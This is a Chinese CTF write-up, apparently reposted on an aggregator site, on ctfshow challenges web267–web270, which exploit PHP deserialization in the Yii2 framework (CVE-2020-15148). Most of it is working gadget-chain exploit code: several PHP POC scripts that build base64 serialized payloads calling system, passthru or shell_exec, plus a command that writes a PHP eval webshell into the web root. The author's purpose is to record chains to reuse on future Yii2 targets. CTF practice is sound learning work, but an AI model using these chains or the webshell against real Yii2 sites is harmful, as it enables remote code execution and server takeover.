当前位置: 首页 > news >正文

ctfshow-反序列化(web267-web270)

目录

web267

web268

web269

web270

总结


web267

页面用的什么框架不知道 看源码看一下

框架就是一种软件工具,它提供了一些基础功能和规范,可以帮助开发者更快地构建应用程序。比如Yii框架和ThinkPHP框架就是两个流行的PHP框架,它们提供了很多现成的功能和工具,让开发者可以更轻松地编写代码,不需要从零开始。使用框架可以加快开发速度、提高代码质量,并且有助于维护和扩展应用程序。

查看源码发现有个yii.js的脚本文件。

yii.js是一个与Yii框架相关的JavaScript文件。Yii是一个流行的PHP框架,它提供了一些功能和工具,用于简化Web应用程序的开发过程。如果你在使用Yii框架构建网站或应用程序,那么引用这个脚本文件可能是为了使用Yii框架提供的一些客户端功能或特性。判断出该网页使用的是yii框架

点进去发现是2.0的版本

网上也流传了反序列化链

Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

现在找一下入口,由于是反序列化利用链,我们需要一个入口点

弱口令登陆一下 看一下 发现about页面有一点变化 查看源码 给了个提示

给的是? 我以为是在首页面位置使用呢 原来就是在adout页面用&连接

因为就是这个页面给的提示 按理说就是应该在这个页面的url后加入该参数

发现一个反序列化入口点:,给了入口 和需要提交的参数名

访问一下 结果是空白 证明是有这个页面的,光访问不行还得传个值否则访问不到 所以他才给提示

通用的链子

exp

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'passthru';$this->id = 'tac /flag';}}
}
namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}}
}
namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

passthru也是远程命令执行的函数 这个方便

大师傅就凭着感觉走 切合实际

checkAess=‘shell_exec’

id="echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";

注意看大师傅的视频特别是这个讲解 从头到位出问题 就得多尝试 

有几点我说一下 命令多换换 单引号双引号多换换 还有转移

真的是学的越多越好  查询该页面位置pwd的时候 使用了DNS外带 标记一下有时间学DNS外带

大师傅如何确定的当前路径

在DNSLOG里面先复制地址 用的大佬的图

写shell

访问成功后

找到flag位置

web268

用267的方式试一遍 不行 可能被过滤了 把eval shell等字符串使用点进行拼接

发现还是不行 那就只能是一个原因了 这个链子被过滤了 这个链子用不来了了

现成链子

exp

<?php
namespace yii\rest {class Action{public $checkAccess;}class IndexAction{public function __construct($func, $param){$this->checkAccess = $func;$this->id = $param;}}
}
namespace yii\web {abstract class MultiFieldSession{public $writeCallback;}class DbSession extends MultiFieldSession{public function __construct($func, $param){$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];}}
}
namespace yii\db {use yii\base\BaseObject;class BatchQueryResult{private $_dataReader;public function __construct($func, $param){$this->_dataReader = new \yii\web\DbSession($func, $param);}}
}
namespace {$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令echo(base64_encode(serialize($exp)));
}

直接访问1.txt

在这里说一下大师傅说以后遇见这种yii框架的漏洞 找到入口把知道的链子都试一下

web269

还是一样的使用web268链子  发现成功拿下flag

web270

还用web268链子 成功拿下

总结

这几道yii框架的反序列化漏洞 虽然没让我学会原理 但是我学会了 如果遇见某一类框架漏洞 直接找入口 找到入口后 网上找现成的链子 一个一个去尝试,现在我的时间不多了只能按照教程这么思路的来一遍这种框架漏洞 具体原理目前没时间学 如果以后有时间搜索(YII链子学习反序列化) 2023/12/7 14:38图书馆

记录一下链子

poc1

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1';				//命令执行}}
}
namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}
namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

poc2

yii2.2.37

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'whoami';}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new DbSession();}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$a=new IndexAction();$this->writeCallback=[$a,'run'];}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

poc3

2.0.38

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'ls';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['isRunning'] = [new CreateAction(), 'run'];}}
}// poc2
namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes;public function __construct(){$this->processes = [new Generator()];}}
}
namespace{// 生成pocecho base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

poc4

2.0.38

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'dir';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

poc5

2.0.42

<?phpnamespace Faker;
class DefaultGenerator{protected $default ;function __construct($argv){$this->default = $argv;}
}class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;function __construct($command,$argv){$this->generator = new DefaultGenerator($argv);$this->validator = $command;$this->maxRetries = 99999999;}
}namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{private $processes = [];function __construct($command,$argv){$this->processes[] = new ValidGenerator($command,$argv);}
}$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

poc6

<?phpnamespace yii\rest
{class IndexAction{function __construct(){$this->checkAccess = 'system';$this->id = 'whoami';}}
}namespace Symfony\Component\String
{use yii\rest\IndexAction;class LazyString{function __construct(){$this->value = [new indexAction(), "run"];}} class UnicodeString{function __construct(){$this->value = new LazyString();}}
}namespace Faker
{use Symfony\Component\String\LazyString;class DefaultGenerator{function __construct(){$this->default = new LazyString();}}class UniqueGenerator{function __construct(){$this->generator = new DefaultGenerator();$this->maxRetries = 99999999;}}
}namespace Codeception\Extension
{use Faker\UniqueGenerator;class RunProcess{function __construct(){$this->processes[] = new UniqueGenerator();}}
}namespace
{use Codeception\Extension\RunProcess;$exp = new RunProcess();echo(base64_encode(serialize($exp)));
}
http://www.lryc.cn/news/285313.html

相关文章:

  • 决策树的分类
  • LateX--插入伪代码类型详解
  • 《Python数据分析技术栈》第06章使用 Pandas 准备数据 04 DataFrames
  • wayland(xdg_wm_base) + egl + opengles 最简实例
  • MySQL部署
  • 【ARM 嵌入式 编译系列 3.7 -- newlib 库文件与存根函数 stubs 详细介绍】
  • 【C++】结构体
  • web架构师编辑器内容-拖动元素改变元素的位置和大小的完成
  • 基于CNN的水果识别-含数据集训练模型
  • Hadoop基本概论
  • 2023年12月 Scratch 图形化(一级)真题解析#中国电子学会#全国青少年软件编程等级考试
  • burp靶场--访问控制【越权】
  • C#使用DateTime.Now静态属性动态获得系统当前日期和时间
  • 华为机考入门python3--(0)模拟题2-vowel元音字母翻译
  • 【轮式平衡机器人】——角度/速度/方向控制分析软件控制框架
  • HYBBS 表白墙网站PHP程序源码 可封装成APP
  • 【设计模式】适配器和桥接器模式有什么区别?
  • C语言应用层程序热补丁
  • 【代码随想录+力扣hot100】双指针
  • 【Java程序员面试专栏 专业技能篇】MySQL核心面试指引(三):性能优化策略
  • qnx 上screen + egl + opengles 最简实例
  • python基础学习-02
  • 服务调用Ribbon,LoadBalance,Feign
  • 一条sql是如何运行的
  • SystemC学习笔记(三) - 查看模块的波形
  • 计算机网络(第六版)复习提纲5
  • JavaScript 学习笔记(WEB APIs Day3)
  • Springboot自动装配:三个注解、Selector、spring.factories文件、@ConditionalOnProperty注解
  • 软件工程应用题汇总
  • P1789 【Mc生存】插火把(C语言)